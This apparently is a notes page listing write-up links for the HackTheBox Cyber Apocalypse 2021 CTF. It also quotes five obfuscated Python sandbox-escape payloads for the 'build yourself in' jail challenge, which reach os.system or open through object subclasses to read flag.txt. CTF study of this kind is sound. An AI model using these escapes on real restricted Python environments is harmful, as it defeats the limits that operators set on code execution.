# writeups * https://rayhan0x01.github.io/ctf/2021/04/24/htb-cyberapocalypse-ctf-writeup.html#-build-yourself-in * https://leonjza.github.io/blog/2021/04/24/hack-the-box-cyber-apocalypse-ctf-21/#--input-as-a-service ## web * https://blog.itasahobby.com/posts/cyberapocalypse/#in-time * https://github.com/0xCOBA/Cyber-Apocalypse-2021-writeups[alien-complaint-form.md] * https://github.com/mgthuramoemyint/mgthura/blob/gh-pages/chtb.md * https://mrmudhalai.medium.com/htb-cyber-apocalypse-ctf-2021-wild-goose-hunt-a4312340a4d6 * https://ghostccamm.com/writeups/cyber_apocalypse_2021/web * ## pwn * https://lo0l.com/2021/04/24/cyberapocalypse.html * ## misc * https://github.com/s-3ntinel/writeups/tree/master/ctf/CyberApocalypseCTF_2021/misc/build_yourself_in * https://github.com/s-3ntinel/writeups/tree/master/ctf/CyberApocalypseCTF_2021/misc/build_yourself_in ``` a = [x for x in {}.__class__.__base__.__subclasses__()[132].__init__.__globals__.values()]; c = [x for x in a[7].values()][14]; a[45](c(99)+c(97)+c(116)+c(32)+c(102)+c(108)+c(97)+c(103)+c(46)+c(116)+c(120)+c(116)) ``` ``` print(print.__self__.open(print.__self__.str().join([print.__self__.chr(c) for c in [102, 108, 97, 103, 46, 116, 120, 116]])).read()) ``` ``` charw = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[25];charh = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[540];charo = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[79];chara = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[4];chare = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[12];charm = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[187];chars = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[5];charb = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[53];charu = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[235];chari = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[94];charl = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[51];chart = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[9];charn = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[95];charc = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[2];charf = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[31];charg = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[254];charx = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[59];charspace = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[16];chardot = ().__class__.__base__.__subclasses__()[22](().__class__.__base__.__subclasses__())[1294];bi=().__class__.__bases__[0].__subclasses__()[84]().load_module(charb+charu+chari+charl+chart+chari+charn+chars);reeos=bi.__import__(charo+chars);reeos.system(charc+chara+chart+charspace+charf+charl+chara+charg+chardot+chart+charx+chart); ``` ``` a=().__class__.__base__.__subclasses__();[ x.__init__.__globals__ for x in ().__class__.__base__.__subclasses__() if x.__name__ == a[80].__name__[0]+a[1].__name__[0]+a[12].__name__[0]+a[117].__name__[0]+a[28].__name__[0]+a[80].__name__[0]+a[25].__name__[0]+a[7].__name__[0]+a[20].__name__[0]+a[11].__name__[0]+a[32].__name__[0] ][0][a[11].__name__[0]+a[5].__name__[1]+a[11].__name__[0]+a[10].__name__[0]+a[32].__name__[0]+a[29].__name__[0]](a[25].__name__[0]+a[117].__name__[0]+a[10].__name__[0]+a[0].__doc__[20]+a[26].__name__[0]+a[7].__name__[0]+a[117].__name__[0]+a[41].__name__[0]+a[4].__doc__[156]+a[10].__name__[0]+a[2].__name__[15]+a[10].__name__[0]) ``` ``` print(print.__self__.__import__(print.__self__.__name__).open(print.__self__.__import__(print.__self__.__spec__.__class__.__name__[1] + print.__self__.__name__[7]).listdir(print.__self__.__import__(print.__self__.__name__).chr(46))[0]).read()) ``` * https://www.reelix.za.net/2021/04/the-craziest-python-sandbox-escape.html * https://github.com/Crypto-Cat/CTF/blob/main/HTB/cyber_apocalypse_21/build_yourself_in/jail.py * https://github.com/DamoNeer/hacker-blog
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up